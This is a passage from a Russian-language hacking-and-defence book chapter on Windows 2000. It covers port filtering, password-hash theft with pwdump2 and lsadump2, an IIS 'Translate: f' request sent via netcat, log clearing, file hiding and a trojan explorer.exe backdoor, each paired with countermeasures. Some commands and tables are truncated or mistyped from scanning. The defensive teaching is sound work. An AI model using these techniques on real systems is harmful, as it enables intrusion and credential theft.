Сканирование Операционная система Windows 2000 прослушивает список портов, многие из которых не были задействованы в Windows NT 4 и появились лишь в этой версии операционной системы. В табл. 6.1 приводится список некоторых портов, прослушиваемых по умолчанию контроллером домена Windows 2000. Каждый из них является потенциальной точкой входа в систему. Список номеров портов TCP и UDP, используемых службами и программами компании Microsoft, можно найти в перечне ресурсов по адресу http://www.microsoft.com/windows2000/
Таблица 6.1. Список портов, прослушиваемых по умолчанию контроллером домена Windows 2000
Контрмеры: отключение служб и блокировка портов Наилучший способ предотвращения всевозможных атак — это блокировка доступа к этим службам как на уровне сети, так и на уровне отдельных компьютеров.
He забудьте прочитать раздел " Отключение служб NetBIOS/SMB в Windows 2000" ниже в этой главе. Проведенное авторами тестирование Windows 2000 показало, что установка фильтров TCP/IP не блокирует эхо-пакетов ICMP (протокол 1), даже если отключить все протоколы IP, кроме 6 (TCP) и 17 (UDP).
Фильтры IPSec Для установки фильтров на порты отдельных компьютеров лучше использовать фильтры протокола IPSec. Эти фильтры явились побочным результатом новой реализации протокола IPSec для Windows 2000 и были с успехом использованы командами разработчиков сетей Openhack и windows2000test.com. Фильтры IPSec обрабатывают пакеты в стеке сети и просто-напросто выбрасывают те из них, которые не удовлетворяют характеристикам фильтра. В отличие от фильтров TCP/IP фильтры IPSec можно применять к отдельным интерфейсам. Кроме того, они блокируют запросы ICMP (однако они не настолько "тонки", чтобы блокировать отдельные подтипы запросов ICMP, скажем, эхо, отклики на эхо-запросы, временные метки и т.д.). Для вступления в силу фильтров IPSec перезагрузка не требуется (хотя изменение параметров фильтров может привести к разрыву существующих соединений IPSec). Такие фильтры обеспечивают решение проблемы для сервера и неприменимы в качестве средства обеспечения функциональности брандмауэра для рабочих станций, поскольку подобно фильтрам TCP/IP они будут блокировать загрузку информации, инициированную даже допустимыми соединениями (если не будут открыты все порты с более высокими номерами). ipsecpol \\имя_компыотера -w REG -p "Web" -о Две последние команды создают политику IPSec под названием Web, включающую два правила фильтрации. Первое из них, BlockAll, блокирует все протоколы поступающих и исходящих сообщений для данного компьютера и всех других компьютеров, а второе, OkHTTP, разрешает трафик через порт 80 данного и всех остальных компьютеров. Если нужно разрешить использование утилиты ping, или других программ, работающих на базе протокола ICMP (чего мы настоятельно не рекомендуем делать без особой необходимости), то в политику Web можно включить такое правило. Таблица 6.2. Параметры утилиты ipsecpol, используемые для фильтрации трафика через компьютеры под управлением Windows 2000
Следует отметить, что фильтры IPSec не блокируют порт 500 (UDP) или, на контроллерах домена Win 2000, порт 88 (TCP/UDP), используемые для аутентификации IPSec (порт 88 применяется протоколом Kerberos, a 500 — для обмена ключами IKE (Internet Key Exchange)). Сервисный пакет Service Pack 1 включает новый параметр реестра, позволяющий закрыть порты Kerberos путем отмены привилегий для драйвера IPSec: HKLM\SYSTEM\CurrentControlSet\ Трафик IKE всегда был привилегированным, и параметры системного реестра на него не влияли. Если же этот параметр реестра принимает значение 1, то все "льготы" для протоколов Kerberos и RSVP отменяются по умолчанию. Автор высказывает благодарность Майклу Ховарду (Michael Howard) из группы обеспечения безопасности Windows 2000 за помощь в изучении команды ipsecpol и нового параметра системного реестра. Поскольку утилита ipsecpol использует синтаксис командной строки, с ней нужно обращаться очень осторожно. В рассмотренном выше примере предполагается, что список фильтров обрабатывается сверху вниз. Простое изменение порядка следования записей в списке может привести к неправильной работе фильтров. Кроме того, утилита не позволяет задать диапазон портов для источника или назначения. Так что несмотря на значительные улучшения, обеспечиваемые фильтрами IPSec по сравнению с фильтрами TCP/IP, с ними нужно обращаться очень аккуратно. Иначе желание блокировать порты так и останется лишь желанием. Отметим еще несколько особенностей, выявленных процессе интенсивного тестирования утилиты ipsecpol.
|
Инвентаризация В главе 3 было показано, как из операционной системы Windows NT 4.0 можно получить сведения об учетных записях, совместно используемых ресурсах и другую информацию. Было показано, что служба NetBIOS передает эти данные анонимным пользователям, проникающим в систему через злополучный нулевой сеанс. Там же было указано, что служба активных каталогов предоставляет эту информацию неаутентифицированным злоумышленникам. Здесь мы не будем снова описывать эти виды атак, однако отметим, что Windows 2000 обеспечивает некоторые новые возможности по решению проблем со службами NetBIOS и SMB. Отключение служб NetBIOS/SMB в Windows 2000 К счастью, можно отключить и порт 445, однако эта операция выполняется отдельно для каждого конкретного адаптера (подобно операции отключения порта 139 в NT 4). При этом сначала необходимо найти соответствующую вкладку (возможно, она переместилась в новое, никому неизвестное местоположение — еще один недостаток графического интерфейса). Теперь ее можно открыть с помощью аплета Network and Dial-up Connections, выбрав команду Advanced>Advanced Settings, как показано на следующем рисунке.
Порт TCP 139 будет отображаться в результате Сканирования портов даже после выполнения указанных действий. Однако этот порт больше не будет предоставлять информацию, связанную со службой NetBIOS. Если вы не отключаете протоколы NetBIOS/SMB, не забывайте установить значение параметра RestrictAnonymous. Теперь это можно сделать с помощью команды Administrative Tools>Local Security Policy (или Domain или Domain Controller>Local Policies>Security Options>No Access Without Explicit Anonymous Permissions. Эта команда эквивалентна установке в системном реестре Windows 2000 значения 2 для параметра RestictAnonymous. Некоторые возможные проблемы, связанные с установкой значения 2 для параметра RestictAnonymous описаны в базе знаний Knowledge Base по адресу http://eearch.support.micro8oft.com. (статья Q246261). Не забывайте, что ограничить доступ к данным протокола NetBIOS или SMB можно также с помощью фильтров IPSec. |
Проникновение Как будет видно из дальнейшего изложения, новая версия операционной системы Windows 2000 подвержена всем тем же типам удаленных атак, что и NT 4. |
Получение пароля NetBIOS или SMB Средства, подобные описанной в главе 5 утилите SMBGrind, пригодны также для получения паролей в системе Windows 2000. Если службы NetBIOS и SMB/CIFS включены, и клиент может использовать SMB-запросы, то пароли доступа к совместно используемым ресурсам являются самым уязвимым местом системы Windows 2000. Один из участников группы разработки серверного и клиентского программного обеспечения Samba (http://eamba.org) Люк Лейтон (Luke Leighton) неоднократно подчеркивал различие между NetBIOS и SMB. NetBIOS — это транспортный протокол, а 8MB — протокол совместного использования файлов, связанный с поддерживаемыми протоколом NBT (NetBIOS поверх TCP) именами типа ИМЯ_СЕРВЕРА#20. Подобно любому серверу общего назначения, такие серверы обмениваются информацией через порт TCP. Таким образом, протокол SMB взаимодействует с портом TCP 445 и не имеет ничего общего с NetBIOS. |
Получение хэш-кодов паролей Утилита перехвата пакетов SMB L0phtcrack, описанная в главе 5, по прежнему может эффективно перехватывать и взламывать хэш-коды диспетчера локальной сети LM и NTLM, передаваемые между клиентами нижнего уровня (NT 4 и Win9x) и сервером Windows 2000. Новая процедура регистрации по протоколу Kerberos предусматривает выполнение идентификации средствами NTLM, если на одном из концов соединения протокол Kerberos не поддерживается, что и происходит между клиентом Windows 2000 и сервером NT 4 или Win9x |
Атаки против IIS 5 По возрастающей популярности с атаками на протоколы NetBIOS или 8MB могут сравниться лишь многочисленные методологии атак на US (Internet Information Server), поскольку это единственная служба, обязательно присутствующая в подключенных к Internet системах под управлением NT/2000. Эта служба встроена в операционные системы семейства Windows 2000. По умолчанию сервер IIS 5.0 и службы Web доступны во всех серверных версиях. И хотя вопросы, связанные с хакингом в Web, будут более подробно рассмотрены в главе 15, мы не можем обойти своим вниманием атаку на Internet Information Server, широко обсуждаемую компьютерной общественностью перед самым выходом в свет этой книги. Проблема US "Translate: f" Проблема, связанная со вскрытием кода (showcode) не нова: она была свойственна и более ранним версиям Internet Information Server. Она получила название Translate: f и была описана Даниелем Дочкалом (Daniel Docekal) в бюллетене Bugtraq. Эта проблема является хорошим примером ситуации, когда взломщик направляет Web-серверу неожиданные данные и тем самым заставляет его выполнять неприемлемые в обычных условиях действия. Это классический вид атаки против протоколов обработки документов типа HTTP. GET/global.asa\ HTTP/1.0 Если путем конвейерной обработки текстовый файл с этой информацией направить (с помощью утилиты netcat) на уязвимый сервер IIS, то в командной строке отобразится содержимое файла /global, as a: D:\type trans.txtI nc -nw 192.168.234.41 80 Мы слегка модифицировали содержимое файла global.asa, чтобы продемонстрировать наиболее характерную информацию, которую может извлечь из него взлом-шик. К сожалению, на многие узлах до сих пор встраивают пароли приложений в ASP и ASA-файлы, повышая тем самым вероятность последующего проникновения хакеров в свои пенаты. Как видно из этого примера, взломщик, вскрывший содержимое файла global.asa, получает в свое распоряжение пароли многих серверов нижнего уровня, включая систему LDAP. Корни проблемы Translate: f - протокол WebDAV и канонизация При первом выявлении этой проблемы вокруг ее причин разгорелись бурные споры. Официальная позиция компании Microsoft сводилась к тому, что причиной является некорректное поведение внутреннего обработчика файлов в ядре US (что в прошлом действительно приводило к некоторым проблемам). Эта позиция была обнародована в разделе MSOO-58, посвященном вопросам безопасности по адресу http: //www.microsoft.com/technet/security/bulletin/fq00-058.asp. Контрмеры: решение для проблемы Translate: f Чтобы уменьшить риск, связанный с проблемой Translate: f и другими попытками вскрытия кода, достаточно просто иметь в виду, что любые исполняемые на сервере файлы могут быть видимы пользователям Internet и никогда не хранить в них секретную информацию. Неизвестно, связано ли это с участившимися попытками вскрытия кода, но компания Microsoft предлагает такой подход в качестве "обычной рекомендации по безопасности" в разделе FAQ MS00-58, уже упомянутом ранее. |
Удаленное переполнение буфера В главе 5, рассматривался вопрос переполнения буфера для системы Windows NT. В настоящее время выявлено несколько случаев переполнения буфера приложений, работающих под управлением NT/2000, но не самой операционной системы. |
Отказ в обслуживании Если большинство серьезных атак против операционной системы NT, направленных на генерацию состояния DoS (отказ в обслуживании), предотвращаются с помощью сервисного пакета NT 4 Service Pack 6a, то Win 2000 является сравнительно надежной в этом отношении операционной системой. До сих пор не было обнаружено никаких угроз возникновения условия DoS, даже после тестирования операционной системы на узле win2000test.com. Атака SYN и бомбардировка IP-пакетами Internet подтверждает известную истину: жизнь — это игра без правил. Особенно наглядно это проявилось в эксперименте с Win2000test.com, когда согласно правилам атаки DoS были категорически запрещены. Тем не менее, серверы этого узла подверглись массированным атакам IP-пакетами, количество которых значительно превысило возможности серверов по их обработке, а также хорошо известным атакам SYN, приводящим к переполнению очередей в стеке протокола TCP/IP (более подробная информация о специфике этих атак содержится в главе 15). Контрмеры против атак DoS Чтобы минимизировать ущерб от подобных атак, необходимо соответствующим образом настроить сетевые шлюзы или брандмауэры (более подробная информация содержится в главе 12). Однако еще раз повторим, что целесообразно также противостоять таким атакам на уровне отдельных компьютеров. Это сыграет свою роль, если одна из линий обороны будет прорвана. Благодаря эксперименту с узлом Win2000test.com компания Microsoft смогла добавить в операционную систему Windows 2000 несколько новых ключей системного реестра, которые можно использовать для защиты стека протокола TCP/IP от атак DoS. В табл. 6.3 содержится информация о конфигурации параметров системного реестра на серверах win2000test.com (эта таблица создана на основе отчета компании Microsoft, посвященного результатам эксперимента и расположенного по адресу http://www.microsoft.com/security, а также личного общения авторов с группой разработчиков Win2000test. com). Некоторые из этих значений, например synAttackProtect=2, в некоторых случаях могут оказаться слишком жесткими. Они были выбраны для защиты сервера Internet с активным трафиком.
Таблица 6.3. Рекомендуемые параметры для стека протокола TCP/IP в операционной системе NT/2000, позволяющие предотвратить атаки DoS
Более подробная информация об этих параметрах и описание параметра SynAttackProtect содержится в статье Q142641 базы знаний компании Microsoft. Генерация состояния DoS сервера ч.,, Telnet Win 2000 Эта простая атака, придуманная в лаборатории SecureXpertLabs (http://www. secure xpert com), предполагает отправку бинарной строки, состоящей из нулей, службе Telnet Microsoft (которая в Win 2000 по умолчанию отключена). Это приводит к выводу службы из строя и автоматическому перезапуску (если таковой предусмотрен). При многократном повторении попыток автоматического перезапуска (когда их число достигает максимально допустимого значения) служба отключается насовсем. Модуль обновления для сервера Telnet Для предотвращения этой атаки необходимо использовать модуль обновления, который можно найти по адресу http://www.microsoft.com/technet/security/ bulletin/MS00-050.asp. Он не включен в сервисный пакет Win 2000 Service Pack 1 и может применяться как до, так и после этого пакета. Сервер Telnet можно сконфигурировать на выполнение автоматической перезагрузки. В этом случае постоянные нападки взломщиков, возможно, по-прежнему будут досаждать, однако теперь их можно отслеживать с помощью маршрутизатора, если поддерживаемый на нем журнал имеет достаточно большой размер и взломщики не используют ложные пакеты. Генерация состояния DoS на сервере имен NetBIOS В июле 2000 года сэр Дастик (Sir Dystic) из группы хакеров Cult of the Dead Caw ("Кутьт мертвой коровы", http://www.cultdeadcow.com) сообщил о том что отправка сообщения "NetBIOS Name Release" службе имен NetBIOS (NBNS UDP 137) компьютера NT/2000 приводит к конфликту, связанному с этим именем, и невозможности его дальнейшего использования. После получения такого сообщения это имя нельзя использовать в сети NetBIOS. Примерно в это же время из лаборатории Network Associates COVERT Labs (http //www.nai.com) сообщили, что сообщение "NetBIOS Name Conflict можно отправить службе имен NetBIOS даже в том случае, если целевой компьютер не находится в процессе регистрации своего имени NetBIOS. Это тоже приводит к конфликту и невозможности дальнейшего использования имени. Контрмеры против атаки DoS на сервер имен NetBIOS К сожалению, протокол NetBIOS не документирован, поэтому авторы не могут гарантировать надежность следующего рецепта. Компания Microsoft разработала ключ системного реестра, предотвращающего подтверждение сообщения Name Release со стороны сервера NBNS. Решение проблемы с сообщением "Name Conflict состоит в том что это сообщение обрабатывается только на этапе регистрации. Таким образом, компьютер остается уязвимым только в это время. Соответствующий модуль обновления и более подробная информация содержится по адресу http: //www.microsoft.com/ |
Расширение привилегий Если взломщик смог добраться до учетной записи пользователя в системе Windows 2000, то следующим его желанием станет получение исключительных привилегий — прав администратора. К счастью, операционная система Win 2000 является более устойчивой, чем ее предшественницы в смысле противостояния таким попыткам (по крайней мере угрозы типа getadmin и sechole ей теперь не страшны). Но к сожалению, если взломщик смог получить данные интерактивной учетной записи, то предотвратить возможность расширения его привилегий очень сложно (интерактивные учетные записи получили гораздо более широкое распространение с появлением терминального сервера Windows 2000, применяемого в целях удаленного управления и распределенной обработки данных). Использование именованных конвейеров для запуска программ с системными привилегиями Атака, обеспечивающая расширение привилегий на основе прогнозирования создания именованного канала при инициализации системных служб Windows 2000 (таких как Server, Workstation, Alerter и ClipBook, связанных с учетной записью SYSTEM), была разработана Майком Шифманом (Mike Schiffman) и отправлена в бюллетень Bugtraq (ID 1535). Перед запуском каждой службы на сервере создается именованный канал с прогнозируемой последовательностью имен. Эту последовательность можно получить из параметра системного реестра HKLM\System\CurrentControlSet\Control\ ServiceCurrent. C:\>whoami /groups Обратите внимание, что эта программа взлома для выполнения своих губительных действий использует учетную запись SYSTEM. Теперь хакер может взломать пароль администратора и зарегистрироваться в системе. (Напомним, что при наличии системных привилегий это не составляет труда. Гораздо сложнее "пробраться" в группу администраторов.) Контрмеры против использования именованных каналов Компания Microsoft выпустила модуль обновления, изменяющий способ создания и размещения именованных каналов диспетчером Win 2000 Service Control Manager (SCM). Его можно найти по адресу http://www.microsoft.com/technet/security/ bulletin/MS00-053 .asp. Этот модуль обновления не вошел в сервисный пакет SP1 и может применяться как до, так и после установки этого пакета.
По умолчанию группа users и учетная запись Guest обладают правом локальной регистрации в системе Win 2000 Professional и на автономных серверах Win 2000 Server. Права пользователей контроллера домена ограничены более жестко благодаря специальной используемой по умолчанию политике (правами локальной регистрации обладают все группы операторов). Мы рекомендуем отменить это право для группы users и учетной записи Guest и строго следить за тем, кому предоставляются такие привилегии.
Нарушение доступа к рабочим станциям Большинство администраторов Windows никогда не слышали о рабочих станциях в контексте одного из наиболее загадочных разделов программирования для Windows. Модель безопасности Win 2000 определяет иерархию контейнеров, предназначенных для разграничения функций зашиты между различными процессами. В этой иерархии объекты упорядочены от общего к частному: сеанс, рабочая станция, рабочий стол. При этом сеанс содержит одну или несколько рабочих станций, которые, в свою очередь, могут включать один или несколько рабочих столов. В рамках этой концепции сфера действия процессов ограничена рабочей станцией, а потоки одного процесса работают с одним или несколькими рабочими столами. Однако по каким-то причинам эта концепция не была реализована в исходной версии Win 2000. При некоторых условиях процесс с более низкими привилегиями, работающий на одном из рабочих столов, в рамках одного сеанса мог получать информацию от рабочего стола другой рабочей станции. Контрмеры против нарушения доступа к рабочим станциям Поскольку эта проблема связана с некорректной реализацией модели безопасности компанией Microsoft, то и в ее решении придется положиться на модуль обновления этой компании. Такой модуль, обеспечивающий корректное разделение процессов для различных рабочих столов, можно получить по адресу http://www.microsoft.com/technet/ |
Несанкционированное получение данных После получения статуса администратора взломщики обычно стараются получить всю информацию, которую можно будет использовать для последующих вторжений. |
Получение хэш-кодов паролей Win 2000 Хакеры будут счастливы узнать, что хэш-коды диспетчера локальной сети LanManager (LM) хранится в предлагаемом по умолчанию местоположении Win 2000 для обеспечения совместимости с клиентами других версий (отличными от Windows NT/2000). Это приводит к проблемам, описанным в главе 5, для устранения которых можно использовать предложенные там же решения. Однако, к небольшому разочарованию хакеров, благодаря некоторым новым свойствам Win 2000 и, в первую очередь, алгоритму шифрования SYSKEY, стандартные приемы взлома паролей теперь неприменимы. Однако, как будет видно из следующих разделов, не все обстоит так благополучно. Получение базы данных SAM На контроллерах доменов Win 2000 хэш-коды паролей хранятся в файле службы каталогов Active Directory (%windir%\NTDS\ntds .dit). При стандартной конфигурации этот файл занимает порядка 10 Мбайт и хранится в зашифрованном виде, поэтому взломщики вряд ли смогут заполучить его с целью последующего анализа. Фаил SAM в Win 2000 по умолчанию кодируется с использованием SYSKEY и восстанавливается с помощью средства pwdump2. Не забывайте очищать каталог Repair \RegBack Не оставляйте взломщикам никаких шансов — переносите файлы каталога Repair\RegBack на съемный диск или в другое безопасное место. А еще лучше — при запуске утилиты создания диска аварийного восстановления не выбирайте опцию архивации системного реестра. Загрузка хэш-кодов чо, с с помощью pwdump2 В операционной системе Win 2000 по умолчанию применяется кодировка SYSKEY (более подробная информация об этом содержится в разделе Q143475 базы знаний и в главе 5). Поэтому с помощью средства pwdump нельзя корректно расшифровать хэш-коды паролей из системного реестра Win 2000. Для решения этой задачи надо использовать pwdump2 (более подробно о pwdump, pwdump2, а также о том, почему для расшифровки SYSKEY не подходит pwdump, читайте в главе 5). Более того, для локальной загрузки хэш-кодов с контроллера домена требуется обновленная версия утилиты pwdump2 (доступная по адресу http://razor.bindview.com), поскольку теперь хранение паролей организовано на базе Active Directory, а не в соответствии с традиционными принципами файла SAM. Контрмеры против загрузки хэш-кодов с помощью pwdump2 Поскольку принципы подключения динамических библиотек в Windows не изменились, то против утилиты pwdump2 не существует никакой зашиты. Слабым утешением служит лишь тот факт, что эта утилита работает локально и для ее запуска требуются привилегии администратора. Если же хакеру удалось получить эти привилегии, то он сможет получить практически любую информацию о локальной системе (другой вопрос, как можно использовать данные SAM для новых атак). Добавление хэш-кодов в файл SAM с помощью chntpw Если хакер получил физический доступ к системе и у него достаточно времени для загрузки другой операционной системы, то он может реализовать сложную атаку, описанную Питером Нордалом-Хагеном (Fetter Nordahl-Hagen). В ряде статей, содержащихся на этом узле, Питер приводит поразительные факты. Например, по его словам, хэш-коды паролей можно добавить в файл SAM в автономном режиме и таким образом изменить пароль любого пользователя системы. Применение этих приемов может привести к повреждению файла SAM. Испытывайте их только на тестовых компьютерах с системой NT/2000 и будьте готовы к возможному отказу операционной системы. В частности, не выбирайте опцию Disable SYSKEY программы chntpw в Win 2000. По отзывам, это может привести к непредсказуемым результатам и даже необходимости полной переустановки системы. Описанный выше прием не позволяет изменять пароли пользователей на контроллере домена Win 2000, а относится лишь к изменению файлов SAM. Напомним, что на контроллере домена хэш-коды паролей хранятся в Active Directory, а не в файле SAM.
Контрмеры против chntpw Если хакеры могут получить неограниченный физический доступ к системе, то противостоять им практически невозможно. Одна из слабых контрмер состоит в такой настройке параметров, при которой требуется привлечение ключа SYSKEY при каждой загрузке. Этого можно добиться, установив режим защиты системного ключа паролем или хранения его на гибком диске (в главе 5 описаны три модели использования ключа SYSKEY). Тогда даже после изменения пароля администратора для загрузки системы хакер должен будет ввести пароль SYSKEY. Конечно же, с помощью программы chntpw хакер может полностью отключить системный ключ, но тогда он рискует вывести из строя операционную систему, если это Win 2000. Удаление пароля администратора, вместе с файлом SAM 25 июля 1999 года Джеймс Дж. Ерейс (James J. Grace) и Томас С.В. Бартлетт III (Thomas S. V. Bartlett III) опубликовали потрясающую статью о том, как удалить пароль администратора, загрузившись в другой операционной системе и удалив файл SAM http://www.deepquest.pf. Имея неограниченный физический доступ к компьютеру и средства для записи информации в разделы NTFS (например, утилиту NTFSDOS Pro, доступную по адресу http://www.sysinternals.com), с помощью этого средства можно легко обойти всю локальную систему зашиты NT/2000. Контроллеры доменов Win 2000 не пострадают от удаления файла SAM, поскольку на этих машинах хэш-коды паролей хранятся в Active Directory. Однако в указанной статье приводится механизм достижения аналогичного результата на контроллере домена, предполагающий установку второй копии Win 2000.
Предотвращение удаления файла SAM Как отмечалось выше на уровне операционной системы существует единственный способ противостояния такой атаке. он заключается в защите паролем системного ключа или установке режима его хранения на гибком диске. Еще один эффективный способ противодействия атакам в автономном режиме- обеспечить физическую защищенность серверов, отключив режим загрузки со съемных носителей или установив пароль BIOS. Авторы советуют использовать все эти механизмы. |
Шифрование файловой системы Одним из главных достижений Win 2000 в области безопасности является шифрование файловой системы. Средство EPS (Encrypting File System) — это система шифрования на основе открытого ключа, предназначенная для кодирования данных на диске в реальном времени и предотвращения несанкционированного доступа к ним. Компания Microsoft опубликовала статью, описывающую детали функционирования EPS (http://www.microsoft.com/windows200/ Применение EFS Систему EFS можно применять для шифрования любого файла или папки. Эту операцию можно выполнить в диалоговом окне свойств объекта с помощью кнопки Advanced во вкладке General. Кроме того, для шифрования и дешифрования файлов можно использовать утилиту командной строки cipher. Для получения справочной информации об этой программе введите команду cipher /?. Будьте внимательны при перемещении зашифрованных файлов. Хотя при использовании стандартных механизмов резервного копирования (например, ntbackup.exe) зашифрованные файлы копируются без модификации, при выполнении обычной операции копирования файлы расшифровываются. Если файл копируется в раздел с файловой системой, отличной от NTFS 5.0, то после копирования файлы окажутся расшифрованными. При копировании файла на удаленный компьютер с файловой системой NTFS 5.0 он будет зашифрован, однако не будет идентичен оригиналу, поскольку удаленная копия будет зашифрована с помощью другого ключа. Таким образом, шифрование файловой системы защищает файлы только при хранении на диске, а при перемещении файлов они расшифровываются.
Расшифровка ключа агента восстановления EFS Продолжим начатое ранее обсуждение статьи Джеймса Дж. Грейса (James J. Grace) и Томаса С.В. Бартлетта III (Thomas S. V. Bartlett III). Возможность изменения пароля учетной записи администратора может иметь гораздо более серьезные последствия, если учесть, что учетная запись Administrator по умолчанию является агентом восстановления ключа. Если зарегистрироваться в системе с пустым паролем администратора, то все зашифрованные системой EFS файлы будут декодированы, поскольку администратор может получить доступ к ключу кодирования файлов (а значит, и содержимому этих файлов) с помощью своего ключа восстановления. Делегирование прав агента восстановления не решает проблему На первый взгляд может показаться, что проблему легко решить, делегировав права агента восстановления другой учетной записи. На самом деле это не так. Джеймс Дж. Грейс (James J. Grace) и Томас С.В. Бартлетт III (Thomas S. V. Bartlett III) разработали средство для изменения пароля любой учетной записи, определенной как агент восстановления. Экспортирование ключей восстановления и их безопасное хранение В ответ на статью Джеймса Дж. Грейса (James J. Grace) и Томаса С.В. Бартлетта III (Thomas S. V. Bartlett III) компания Microsoft признала, что таким способом действительно можно обойти систему EFS, но в свое оправдание заявила, что для предотвращения этой атаки нужно правильно хранить ключ восстановления EFS (http://www. microsoft.com/technet/security/analefs.asp). Запустится мастер, после выполнения рекомендаций которого ключ восстановления будет экспортирован. Для резервного копирования ключа агента восстановления вместе с сертификатом необходимо экспортировать и закрытый ключ. При этом авторы рекомендуют использовать защиту паролем. Напомним, что при простом удалении сертификата агента восстановления из правой панели шифрование файловой системы станет невозможным. На следующем рисунке показано, что происходит при попытке шифрования без агента восстановления — система не работает.
Файлы, зашифрованные до удаления агента восстановления, остаются зашифрованными, но могут быть открыты только соответствующим пользователем или после восстановления агента из резервной копии. Для узлов, входящих в домен, ситуация отличается. Ключи восстановления всех систем, входящих в домен, хранятся на его контроллере. При добавлении к домену компьютера под управлением Win 2000 автоматически вступает в силу используемая по умолчанию политика восстановления домена и агентом восстановления становится администратор домена, а не локальный администратор. Таким образом, ключи восстановления физически отделяются от зашифрованных данных, что значительно затрудняет описанную атаку. Не мешает также экспортировать сертификат агента восстановления с контроллера домена, поскольку при их получении уязвимыми станут все компьютеры данного домена. Компания Microsoft в ответном документе также утверждает, что возможность удаления файла SAM, приводящую к установке пароля администратора в NULL, можно предотвратить с помощью ключа SYSKEY. Но выше было показано, что это не так, если не выбран режим его защиты паролем или хранения на гибком диске (в статье об этом умалчивается). |
Вторжение на доверительную территорию Один из основных приемов взломщиков — поиск данных пользователей домена (а не локальной системы). Это позволяет хакерам получить доступ к контроллеру домена и легко обмануть систему безопасности домена. Такой деятельности обычно невольно способствуют администраторы, которые регистрируются на локальной машине с использованием данных учетной записи домена. Система Win 2000 не может предостеречь своих пользователей от очевидных ошибок. Средства получения данных LSA -живут и здравствуют Как было показано в главе 5, получение данных LSA — основной механизм для вгпома доверительных отношений, поскольку позволяет получить данные о нескольких последних зарегистрированных в системе пользователях и пароли учетных записей служб. С:\>lsadump2
Контрмеры против Isadump2 Компания Microsoft считает, что описанная ситуация не представляет угрозы для безопасности системы, поскольку для запуска утилиты Isadump2 требуется привилегия seoebugprivilege, делегируемая по умолчанию только администраторам. Лучший способ противостояния lsadump2 - защитить учетные записи администраторов. Если же хакер получит доступ к учетной записи администратора, то с помощью lsaduir.P2 он сможет получить и учетные записи служб внешних доменов, и с этим ничего не поделаешь. Новая система множественной репликации и модель доверительных отношений Одним из наиболее значительных отличий Win 2000 от NT в области архитектуры доменов является переход к системе множественной репликации и модели доверительных отношений. В рамках леса Win 2000 все домены хранят реплики совместно используемой службы Active Directory и строят двухсторонние доверительные отношения друг с другом по транзитивному принципу на базе протокола Kerberos (доверительные отношения между лесами доменов или с доменами нижнего уровня NT 4 по-прежнему остаются односторонними). Это приводит к интересным следствиям при разработке топологии доменов. |
Сокрытие следов В Win 2000 применяются в основном те же средства и приемы сокрытия следов, что и в более ранних версиях операционной системы с небольшими отличиями. Приведем их краткое описание. |
Отключение аудита Для включения аудита можно воспользоваться аплетом Local Security Policy (secpol.msc) или Group Policy (gpedit.msc), выбрав на левой панели управляющей консоли элемент Local Policy^Audit Policy или Computer Configuration>Windows SettingsoSecurity Settings>Local Policy>Audit Policy соответственно. Политика групп будет рассмотрена ниже в этой главе. Параметры аудита в Win 2000 в основном совпадают с параметрами NT 4. |
Очистка журнала регистрации событий В Win 2000 по-прежнему возможна очистка журнала регистрации событий, однако доступ к журналам осуществляется посредством нового интерфейса. Просмотреть различные журналы событий теперь можно через управляющую консоль Computer Management с помощью элемента System ToolsЮ Event Viewer. Появилось три новых журнала: Directory Service, DNS Server и File Replication Service. При щелчке правой кнопкой на одном из них открывается контекстное меню, содержащее команду Clear All Events. |
Сокрытие файлов Одной из главных задач хакера после удачного вторжения в систему является надежное сокрытие своего инструментария. В главе 5 обсуждались два способа сокрытия файлов: с помощью команды attrib и файловых потоков. Команда attrib Для сокрытия файлов по-прежнему можно применять команду attrib, но при этом файлы все же останутся видимыми при выборе опции Show All Files для данной папки. Потоки С помощью утилиты ср из набора NTRK (поддерживающей стандарт POSIX) можно скрыть файлы за другими файлами в потоках (см. главу 5). Эту утилиту можно использовать и в Win 2000 даже при переходе на новую версию 5 файловой системы NTFS. |
Потайные ходы Последним пунктом программы хакеров является обеспечение возможности повторного проникновения в систему, усыпив бдительность системных администраторов. |
Манипуляции в процессе запуска системы Как упоминалось в главе 5, излюбленный прием хакеров — оставить в системе свои исполняемые файлы, которые будут автоматически запускаться при загрузке системы. Такие возможности по-прежнему имеются в системе Win 2000. Поэтому необходимо проверять соответствующие папки взломанной системы на наличие неизвестных или странных команд.
В Win 2000 отличается лишь местоположение папки автозагрузки Startup для каждого пользователя. Теперь эта папка находится в папке Documents and Settings (%systemdrive%\ Documents and Settings\%user%\Start Menu\Programs\Startup). Прикрепление к исполняемым файлам Иногда наиболее очевидные потайные ходы сложнее всего разглядеть. Например, можно просто разместить троянскую оболочку Windows под именем explorer.exe в корне каталога %systemdrive% целевой системы (по умолчанию право записи в этот каталог имеют все пользователи). Тогда при интерактивной регистрации пользователя эта профамма по умолчанию будет использоваться в качестве оболочки для этого пользователя. Почему это происходит? Выявление всех относительных путей в реестре Эта проблема была устранена в модуле обновления MS00-052, не включенном в состав сервисного пакета SP1, поэтому этот модуль необходимо применять независимо от установки сервисного пакета. И хотя в разделе часто задаваемых вопросов компания Microsoft заявляет об отсутствии этой угрозы (http://www.microsoft.com/technet/ security/bulletin/fq00-052.asp), Альберто Арагонес (Alberto Aragones) приводит примеры других исполняемых файлов (например, rundll32.exe), для которых пути в реестре явно не указаны. Действительно, имя этого файла многократно встречается в реестре без указания абсолютного пути. Возникает вопрос, как вернуть систему в нормальное состояние, если с ней уже сыграли злую шутку, описанную Альберто? На этот случай Альберто советует запустить программу %windir%\explorer.exe из командной оболочки, а затем удалить "поддельный" проводник, или просто ввести команду геп\ explorer.exe harmless.txt, а затем перезагрузить компьютер с помощью комбинации клавиш <Alt+Ctrl+Del>. |
Удаленное управление Все описанные в главе 5 механизмы удаленного управления по-прежнему работают в новой версии операционной системы. Утилита remote из набора NTRK теперь входит в состав средств поддержки Win 2000 Support Tools (как и многие другие базовые утилиты NTRK). Обновленная версия этой утилиты называется wsremote, но ее функциональность в целом сохранилась. Средства NetBus и WinVNC не претерпели никаких изменений. В Win 2000 может работать и утилита Back Orifice 2000 (ВО2К), поэтому особо беспечным администраторам, которые потешались над возможностью работы исходной версии ВО только в среде Win 9.v, теперь будет не до шуток. Терминальный сервер Значительным новшеством Win 2000 является включение терминальных служб в состав базовых серверных продуктов. Дополнительно устанавливаемый терминальный сервер превращает Win 2000 в абсолютно новую систему, позволяющую выполнять клиентские процессы на центральном процессоре сервера. Во всех предыдущих версиях Windows, за исключением отдельного продукта NT Terminal Server Edition, все клиентские программы всегда выполнялись процессором клиента. Для пользователей операционной системы UNIX и больших машин такой подход не нов, однако администраторам NT/2000, безусловно, понадобится некоторое время, чтобы научиться отличать удаленные 